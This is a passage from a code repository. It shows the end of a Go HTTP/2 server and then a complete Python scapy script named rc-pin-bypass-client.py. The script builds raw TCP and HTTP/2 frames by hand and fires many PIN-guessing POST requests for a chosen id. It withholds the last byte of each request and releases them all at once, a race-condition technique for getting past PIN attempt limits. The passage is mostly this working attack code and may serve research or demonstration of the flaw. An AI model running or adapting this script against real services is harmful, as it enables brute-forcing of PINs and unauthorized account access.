h2c.NewHandler(router, h2server), 103 | } 104 | 105 | err = http2.ConfigureServer(server, h2server) 106 | panicIfErr(err, "Failed to configure the server for HTTP/2") 107 | 108 | log.Printf("Listening on [0.0.0.0:8080]...\n") 109 | err = server.ListenAndServe() 110 | panicIfErr(err, "Failed to start the server") 111 | } 112 | -------------------------------------------------------------------------------- /rc-pin-bypass/rc-pin-bypass-client.py: -------------------------------------------------------------------------------- 1 | import time 2 | from scapy.all import send, TCP, RandShort, IP, sr1, fragment 3 | from scapy.contrib.http2 import H2_CLIENT_CONNECTION_PREFACE, H2Frame, H2SettingsFrame, H2Setting, HPackHdrTable, H2DataFrame, H2Seq 4 | import argparse 5 | 6 | parser = argparse.ArgumentParser() 7 | 8 | parser.add_argument('ip', help='IP address of the server') 9 | parser.add_argument('port', help='Port of the server', type=int) 10 | parser.add_argument('amount', help='Amount of requests to send', type=int) 11 | parser.add_argument('id', help='ID of the PIN', type=int) 12 | 13 | args = parser.parse_args() 14 | 15 | target_ip = args.ip 16 | target_port = args.port 17 | 18 | req_amount = args.amount 19 | 20 | tcp = TCP(sport=int(RandShort()), dport=target_port, flags="S", 21 | seq=1000, window=65535) 22 | 23 | ip = IP(dst=target_ip) 24 | 25 | # SYN/ACK 26 | syn = ip/tcp 27 | syn_ack = sr1(syn) 28 | 29 | tcp_window = syn_ack.window 30 | 31 | print("Using %d as the TCP window size" % tcp_window) 32 | 33 | tcp.seq += 1 34 | tcp.ack = syn_ack.seq + 1 35 | tcp.flags = 'A' 36 | ack = ip/tcp 37 | send(ack) 38 | 39 | print("[+] Established the connection to the target!") 40 | 41 | http2_preface = ip/tcp/H2_CLIENT_CONNECTION_PREFACE 42 | send(http2_preface) 43 | tcp.seq += len(H2_CLIENT_CONNECTION_PREFACE) 44 | 45 | h2_settings = [ 46 | # SETTINGS_HEADER_TABLE_SIZE 47 | H2Setting(id=1, value=4096), 48 | # SETTINGS_ENABLE_PUSH 49 | H2Setting(id=2, value=0), 50 | # SETTINGS_MAX_CONCURRENT_STREAMS 51 | H2Setting(id=3, value=2**32-1), 52 | ] 53 | 54 | h2_settings_frame = H2Frame()/H2SettingsFrame(settings=h2_settings) 55 | send(ip/tcp/h2_settings_frame) 56 | tcp.seq += len(h2_settings_frame) 57 | 58 | h2_settings_ack_frame = H2Frame(flags={'A'}) / H2SettingsFrame() 59 | send(ip/tcp/h2_settings_ack_frame) 60 | tcp.seq += len(h2_settings_ack_frame) 61 | 62 | initial_frames = [] 63 | last_byte_frames = [] 64 | print("[+] Building frames...") 65 | for i in range(req_amount): 66 | body = bytes("id=%d&pin=%d" % (args.id, i), 'utf-8') 67 | h2_headers = [ 68 | ('Content-Type', 'application/x-www-form-urlencoded'), 69 | ('Content-Length', str(len(body))), 70 | ] 71 | 72 | special_headers = [ 73 | (':method', 'POST'), 74 | (':scheme', 'http'), 75 | (':path', '/'), 76 | (':authority', "%s:%d" % (target_ip, target_port)), 77 | ] 78 | 79 | special_headers_str = "\n".join([f"{k} {v}" for k, v in special_headers]) 80 | 81 | headers_str = "\n".join([f"{k}: {v}" for k, v in h2_headers]) 82 | stream_id = (i+1)*2-1 83 | http2_frame = HPackHdrTable().parse_txt_hdrs(bytes(special_headers_str+"\n" + 84 | headers_str, 'utf-8'), stream_id=stream_id, body=body) 85 | # remove a last byte from http2_frame for the last byte sync 86 | data_frame = http2_frame.frames[-1] 87 | last_byte = data_frame.data[-1:] 88 | data_frame.flags.remove('ES') 89 | data_frame.data = data_frame.data[:-1] 90 | http2_frame.frames[-1] = data_frame 91 | 92 | initial_frames.append(http2_frame) 93 | 94 | last_byte_data_frame = H2Frame(stream_id=stream_id, flags={ 95 | 'ES'}) / H2DataFrame(data=last_byte) 96 | last_byte_frames.append(last_byte_data_frame) 97 | 98 | print("[+] Packing the frames... (It may take a few minutes...)") 99 | 100 | def pack_frames_to_seq(frames): 101 | packets = [] 102 | current_seq = H2Seq() 103 | tcp_len = len(tcp) 104 | seq_len = len(current_seq) 105 | frames_len = 0 106 | for frame in frames: 107 | frames_len += len(frame) 108 | if tcp_len + seq_len + frames_len >= tcp_window: 109 | packets.append(fragment(ip/tcp/current_seq)) 110 | tcp.seq += len(current_seq) 111 | tcp_len = len(tcp) 112 | current_seq = H2Seq() 113 | current_seq.frames.append(frame) 114 | frames_len = len(frame) 115 | continue 116 | else: 117 | current_seq.frames.append(frame) 118 | 119 | if len(current_seq.frames) != 0: 120 | packets.append(fragment(ip/tcp/current_seq)) 121 | tcp.seq += len(current_seq) 122 | 123 | return packets 124 | 125 | initial_packets = pack_frames_to_seq(initial_frames) 126 | last_byte_packets = pack_frames_to_seq(last_byte_frames) 127 | 128 | print("[+] Sending initial packets...") 129 | for fragments in initial_packets: 130 | for frag in fragments: 131 | send(frag) 132 | 133 | 134 | print("[+] Sending last byte packets...") 135 | for fragments in last_byte_packets[1:]: 136 | for frag in fragments: 137 | send(frag) 138 | 139 | fragments = last_byte_packets[0] 140 | for frag in fragments[:-1]: 141 | send(frag) 142 | 143 | print("[+] Sending the last packet in 3 seconds...") 144 | time.sleep(3) 145 | # send last packet 146 | send(fragments[-1]) 147 | 148 | print("[+] Done!") 149 | 150 | time.sleep(1) 151 | 152 | special_headers = [ 153 | (':method', 'GET'), 154 | (':scheme', 'http'), 155 | (':path', '/done'), 156 | (':authority', "%s:%d" % (target_ip, target_port)), 157 | ] 158 | 159 | special_headers_str = "\n".join([f"{k} {v}" for k, v in special_headers]) 160 | stream_id = (req_amount+1)*2-1 161 | http2_frame = HPackHdrTable().parse_txt_hdrs( 162 | bytes(special_headers_str, 'utf-8'), stream_id=stream_id) 163 | send(ip/tcp/http2_frame) 164 | 165 | --------------------------------------------------------------------------------